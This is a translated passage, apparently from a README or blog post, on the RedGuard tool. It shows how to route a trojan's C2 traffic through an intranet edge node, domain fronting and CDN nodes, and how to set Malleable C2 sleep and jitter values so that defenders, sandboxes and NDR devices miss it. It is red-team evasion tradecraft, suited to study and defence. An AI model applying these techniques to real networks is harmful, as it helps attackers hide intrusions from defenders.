Para a configuração específica, focamos principalmente nas setas. **A seta 1 acima é o nome de domínio HOST para a interação entre o host da intranet e o nó de borda**. Recomenda-se definir o nome de domínio relevante da intranet de acordo com o cenário específico da unidade alvo. Imagine a interação de tráfego entre dois hosts na intranet sobre o nome de domínio da intranet. O BT tem coragem de cortar diretamente o tráfego interativo? Claro, se eles puderem determinar que é tráfego interativo malicioso. **A seta 2 aponta para a configuração do domain frontend convencional**. Este par chave-valor, a chave corresponde ao HOST online e o valor corresponde ao endereço do proxy. Aqui podemos defini-lo para qualquer nome de domínio HTTPS que use o mesmo fabricante de CDN **(o IP do nó CDN também é válido, lembre-se de trazer o protocolo http(s)://).**
EdgeHost é o nome de domínio usado pelo domain frontend do nosso provedor de serviços em nuvem, que também é o nome de domínio usado pelo nó de borda RG ao interagir com o C2 através do nó CDN. Sim, o RG modificará o nome de domínio HOST da solicitação legítima e o modificará para o nome de domínio CDN do serviço em nuvem que pode se comunicar normalmente.
EdgeTarget é o nome de domínio para interação na intranet, que precisa ser o mesmo que a seta 1. Apenas o tráfego solicitado pelo nome de domínio definido aqui por HOST será considerado legítimo, e o RG será modificado ainda mais para o nome de domínio CDN do serviço em nuvem para comunicação subsequente.
**Aqui resumimos:**
Ou seja, a interação entre o nó de borda e o host na intranet é através do nome de domínio da intranet definido. Quando o cavalo de Troia inicia uma solicitação ao nó de borda do RG, ele determinará se o HOST do tráfego de solicitação é o nome de domínio da intranet definido no arquivo de configuração. Se estiver em conformidade, é considerado legítimo. O RG modificará o HOST para o nome de domínio CDN do provedor de serviços em nuvem definido pelo EdgeHost para comunicação subsequente e transferirá o tráfego para o servidor C2, alcançando ocultação total e alta ofuscação de todo o link. Imagine que o nome de domínio da intranet interage com o nó de borda com o nome de domínio da intranet, mas o nó de borda altera ainda mais o endereço de proxy interativo real e o HOST interativo, alcançando uma informação interativa assimétrica entre os dois hosts, tornando o rastreamento mais difícil e difícil de investigar.
**Tráfego de interação entre nós de borda e hosts da intranet, conforme mostrado na figura acima**
Outra vantagem dessa abordagem é que, no ambiente de sandbox em nuvem, como nosso IP interativo é personalizado de acordo com a intranet, é impossível para a sandbox realizar análise de correlação de conectividade no IP da intranet durante a análise.
Uma coisa a observar ao configurar é que o HOST para a solicitação do cavalo de Troia deve ser:
- **HOST: Nome de domínio da intranet (definido no arquivo de configuração RG)**
- **IP: IP da intranet do host de borda**
- **Porta online: 443 (corresponde à porta de escuta http(s) no arquivo de configuração RG)**
- **Porta de escuta: a porta onde o C2 está realmente online**
As configurações do listener C2 são as seguintes:
Em contraste com a solicitação, o HOST do listener C2 deve ser o nome de domínio CDN do provedor de serviços em nuvem, desde que o tráfego final possa ser transferido para o servidor C2.
Tráfego de interação do nó da intranet, conforme mostrado na figura abaixo, pode-se ver que o IP da intranet na área DMZ acessa normalmente a porta 443. Não é surpreendente que o servidor ou PC da intranet esteja conectado ao sistema de negócios na área DMZ.
O tráfego interativo do host de borda é mostrado na figura. Em cenários reais, não haverá um grande número de TIME_WAIT. Aqui, defini o sleep do pacote de heartbeat como 0 para teste. É mais seguro definir um jitter e tempo de sleep maiores nos pacotes de heartbeat em cenários reais. E pessoalmente, acho que o tráfego HTTP não é usado em cenários reais. Tráfego em texto puro não é uma perda de tempo? Então, geralmente essa porta não será aberta. Mudaremos o nome do arquivo RG para Tomcat, Apache, Nginx, etc., para tornar a interação mais confusa.
Em relação ao jitter e tempo de sleep dos pacotes de heartbeat, você pode simplesmente definir os seguintes campos no arquivo Malleable C2 Profile.```bash
set sleeptime "3000";
set jitter "20";
Se você não configurá-lo, um alarme de pacote de heartbeat anormal pode aparecer. Claro, na maioria dos casos, os pesquisadores considerarão isso um falso alarme e o ignorarão. No entanto, por segurança, é recomendável configurá-lo para que não cause um alarme de pacote de heartbeat anormal. Naquela época, foi testado pelo equipamento 360 NDR, e o efeito específico é o seguinte:
Quanto ao tráfego HTTPS, qualquer dispositivo de monitoramento de tráfego no mercado não pode censurar o tráfego. Os dispositivos de monitoramento atuais são essencialmente correspondência de palavras sensíveis. Até mesmo em uma competição de detecção de pacotes de dados de um determinado fabricante, é necessário usar pacotes de texto simples, o que leva as pessoas a se perguntarem se os RTs realmente interagem com tráfego de texto simples em cenários de combate reais? Além das informações interativas assimétricas mencionadas acima, a maior vantagem deste método é que o nó RG é colocado no nó de borda para alcançar o controle de tráfego de front-end, dando-lhe assim o mesmo efeito funcional de um RG normal.
Os nós de back-end dos nós RG são transformados em nós CDN para encaminhar para o servidor C2. Em cenários convencionais, os nós de front-end dos domínios são todos usados como nós de requisição de primeira camada, e os hosts de borda são colocados online após o RG. A interação entre o sistema de negócios na área DMZ e o IP CDN da rede pública também parece tão harmoniosa. Neste processo, nem o host da intranet nem o host de borda interagem diretamente com nosso C2, o que também é a elegância desta técnica avançada de ocultação.
Claro, além das vantagens acima mencionadas sobre a transferência de proxy netsh e iptables, a configuração simples e a ausência de registros de configuração também são uma das vantagens.
Obrigado pelo seu apoio. O RedGuard continuará a melhorar e atualizar. Espero que o RedGuard possa ser conhecido por mais profissionais de segurança. A ferramenta refere-se às ideias de design do RedWarden.
Todos são bem-vindos a apresentar suas necessidades, o RedGuard continuará a crescer e melhorar nessas necessidades!
Sobre o desenvolvedor 风起 artigos relacionados:https://www.anquanke.com/member.html?memberId=148652
Autor do espectro de armas da conferência de hackers Kcon 2022
10º Fórum Avançado de Ofensiva e Defesa da Conferência de Segurança na Internet ISC, tópico "C2 Front Flow Control"
Troca de tráfego C2 baseada em links de nós de borda
https://www.anquanke.com/post/id/278140
Análise da tecnologia de identificação de fluxo de sandbox em nuvem
https://www.anquanke.com/post/id/277431
Realização da Tecnologia de Randomização de Impressão Digital JARM
https://www.anquanke.com/post/id/276546
Contramedidas de Inteligência de Ameaças na Infraestrutura C2
Kunyu: https://github.com/knownsec/Kunyu
O vento surge na ponta da lentilha-d'água, as ondas se formam entre as ondulações.
Se você tiver alguma dúvida ou necessidade, pode enviar um issue no projeto, ou contatar o desenvolvedor adicionando WeChat.
| IP | Port | Protocol | Service | Country | City | Title | Time |
|---|
| 103.211.xx.90 | 443 | https | Apache httpd | China | Suzhou | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | China | 405 Not Allowed | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |